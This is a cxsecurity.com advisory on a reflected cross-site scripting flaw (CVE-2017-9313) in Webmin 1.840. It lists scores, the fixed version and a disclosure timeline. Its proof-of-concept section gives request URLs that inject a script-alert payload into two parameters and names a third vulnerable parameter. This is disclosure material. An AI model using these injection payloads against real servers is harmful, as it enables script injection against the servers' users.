Webmin 1.840 Cross Site Scripting

Published
Credit
Risk
2017.07.04
Andy Tan
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2017-9313
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

Vulnerability type: Reflected Cross Site Scripting
------------------------
Product: Webmin
------------------------
Affected version: Webmin 1.840 and possibly earlier
------------------------
Patched version: Webmin 1.850
------------------------
Credit: Andy Tan
------------------------
CVE ID: CVE-2017-9313
------------------------

===============
Proof of Concept
================
Vulnerable Modules:
https://192.168.1.20:10000/man/view_man.cgi?page=foo&sec=<script>alert('xss')</script>

https://192.168.1.20:10000/webmin/change_referers.cgi?referer=0&referers=<script>alert('xss')</script>

https://192.168.1.20:10000/acl/save_user.cgi
(Vulnerable 'name' parameter)

Vendor contact timeline:
------------------------
2017-06-12: Contacted vendor.
2017-06-28: Vendor released new patch.
2017-07-02: Public disclosure.


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com